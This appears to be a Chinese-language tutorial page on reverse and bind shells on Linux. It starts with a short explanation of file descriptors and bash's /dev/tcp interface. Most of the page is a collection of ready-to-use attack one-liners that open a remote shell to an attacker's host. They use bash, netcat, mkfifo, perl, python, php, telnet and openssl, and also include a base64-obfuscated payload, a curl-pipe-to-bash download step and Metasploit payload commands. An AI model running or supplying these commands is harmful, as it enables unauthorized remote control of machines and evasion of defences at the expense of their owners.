赞
踩
文件描述符是一个非负整数,内核需要通过这个文件描述符才可以访问文件
文件描述符好比一本书的目录(索引),通过这个索引可以找到需要的内容
在Linux系统中内核默认为每个进程创建三个标准的文件描述符:
0 (标准输入)
1 (标准输出)
2(标准错误)
通过查看 /proc/PID/fd 目录下的文件,就可以查看每个进程拥有的所有文件描述符
Linux系统将所有设备都当作文件来处理,而Linux用文件描述符来标识每个文 件对象。当Linux启动的时候会默认打开三个文件描述符。
文件描述符 | 缩写 | 描述 | 默认设备 |
---|---|---|---|
0 | STDIN | 标准输入 | 默认设备键盘 |
1 | STDOUT | 标准输出 | 默认设备显示器 |
2 | STDERR | 标准错误输出 | 默认设备显示器 |
被控端主动发起连接请求去连接控制端,通常被控端由于防火墙限制、权限不足、端口被占用等问题导致被控端不能正常接收发送过来的数据包。
被控端
bash -i >& /dev/tcp/192.168.42.132/6666 0>&1
攻击端
nc –lvvp 6666
参数解释
bash -i : 打开一个交互式的bash shell
/dev/tcp/IP/PORT : /dev/tcp/是Linux中的一个特殊设备文件(Linux一切皆文件),实际这个文件是不存在的,它只是 bash 实现的用来实现网络请求的一个接口。
0>&1 : 将输入重定向到标准输出,为了确保命令执行后的输入被正确的传回攻击机
打开/dev/tcp/ip/port 这个文件就相当于发起了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。
nc -lvvp 6666
echo hello > /dev/tcp/192.168.42.132/6666
nc -lvvp 6666
cat < /dev/tcp/192.168.42.132/6666
这里nc监听到的会话没有终端的回显,可以通过python -c ‘import pty; pty.spawn(“/bin/bash”)’ 来获取到伪终端。
NC正向Shell(内鬼混进去开放端口,我方连接内鬼给的端口)
原 理: 被控端使用nc将/bin/sh绑定到本地的6666端口,控制端主动连接被控端的6666端口,即可获得shell
被控端: nc -lvvp 6666 -e /bin/sh
控制端: nc 10.10.1.7 6666
反向shell(我方监听,敌方有内鬼,把终端发给我)
原理: 被控端使用nc将/bin/sh发送到控制端的6666端口,控制端只需要监听本地的6666端 口,即可获得shell。这个要先监听,再让被控端托管/bin/sh
控制端: nc -lvvp 6666
被控端: nc -e /bin/sh 192.168.42.132 6666
无 -e 参数反弹shell
如果nc 没有 -e 的选项,那就用其他方式进行反弹shell
mkfifo 命令首先创建了一个管道 文件为 f ,然后通过cat 将管道里面的内容输出传递给/bin/sh, sh会执行管道里的命令并将标准输出和标准错误输出结果通过nc 传到该管道, 由此形成了一个回路。
//mkfifo
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.42.132 6666 >/tmp/f
//mknod , 这个反弹回来shell无终端,可以使用python 给它开伪终端
mknod backpipe p; nc 192.168.42.132 6666 0<backpipe | /bin/bash 1>backpipe 2>backpipe
//经典 控制端: nc –lvvp 6666 被控端: bash -i >& /dev/tcp/47.101.214.85/6666 0>&1 //其他方式 exec 5<>/dev/tcp/192.168.42.132/6666;cat <&5 | while read line; do $line 2>&5 >&5; done //base 64编码的绕过 nc –lvvp 6666 bash -c "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQyLjEzMi82NjY2IDA+JjE=|base64 -d|bash -i" //查找msf中所有payload 并查找跟bash相关的payload 然后awk '{print $1}'取出命令结果的第一列,这里是负载类型的名称。 msfvenom -l payloads | grep "bash" | awk '{print $1}' //msf恶意文件 msfvenom -p cmd/unix/reverse_bash lhost=10.10.1.11 lport=6666 - f raw
命令解释:
exec 5<>/dev/tcp/192.168.42.132/6666 : 代表这个文件描述符5可以对/dev/tcp这个文件进行读写操作
cat <&5 : 把文件描述符5的内容 用cat 进行输出(用cat 来读取文件描述符5 的内容)
while read line : 循环,当有内容的时候,会执行错误输入和标准输入都重定向到文件描述符5指向的文件。
perl -e 'use Socket;$i="47.101.214.85";$p=6666;socket(S,PF_INET,SOCK_STREAM, getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i )))) {open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec(" /bin/sh -i");};'
这段Perl代码使用Socket模块创建了一个TCP套接字连接到IP地址为"47.101.214.85",端口号为"6666"的远程服务器。如果连接成功,它会将标准输入、输出和错误输出重定向到socket连接的文件描述符,并执行命令"/bin/sh -i",生成一个交互式Shell,从而使用户能够通过shell与远程服务器进行交互。
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"47.101.214.85:6666");STDIN- >fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
使用IO模块建立一个TCP反弹shell。
先使用fork创建一个子进程。 如果当前进程是子进程,则退出,这是为了让子进程成为后台进程。
如果当前进程是父进程,则创建一个新的IO::Socket::INET对象,并连接到目标主机的IP地址为"47.101.214.85",端口号为"6666"的地方,并获得与socket对象的文件描述符相关联的I/O流。
使用system函数在Shell中执行输入的命令。
攻击机
//先编辑一个html文件 ,写入自己的反弹Shell,再开启http 服务提供远程的下载
//受害机器请求连接,并用bash解释器将curl下载的文件作为脚本执行
curl http://192.168.42.132:8000/shell.html | bash
Python一行命令反弹shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.101.214.85",6666));os.dup2(s.fileno(),0 );os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call (["/bin/sh","-i"]);'
通过Msfvenom生成python反弹shell的payload
//会自动生成payload 然后受害机器上 python -c "payload"
msfvenom -p python/meterpreter/reverse_tcp LHOST=139.155.49.43 LPORT=6666 -f raw
handler -p python/meterpreter/reverse_tcp -H 139.155.49.43 -P 6666
//通过Web delivery反弹shell
use exploit/multi/script/web_delivery
set target 0
set payload python/meterpreter/reverse_tcp
set lport 6666
exploit –j
web传递方式
msfvenom -l payload | grep “php” | awk '{print($1)}’
PHP一行命令反弹shell
php -r '$sock=fsockopen("47.101.214.85",7777);exec("/bin/sh -i <&3 >&3 2>&3");'
msfvenom -l payload | grep “ruby” | awk ‘{print($1)}’
msfvenom -p cmd/unix/bind_ruby lport=6666 -f raw
受害机器要安装了才可以
攻击机: nc -lvvp 5555 nc -lvvp 6666
目标机: telnet 47.101.214.85 5555 | /bin/bash | telnet 47.101.214.85 6666
openssl反弹443端口,流量加密传输
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
openssl s_server -quiet -key key.pem -cert cert.pem -port 443
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client - quiet -connect 192.168.42.132:443 > /tmp/s; rm /tmp/s
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。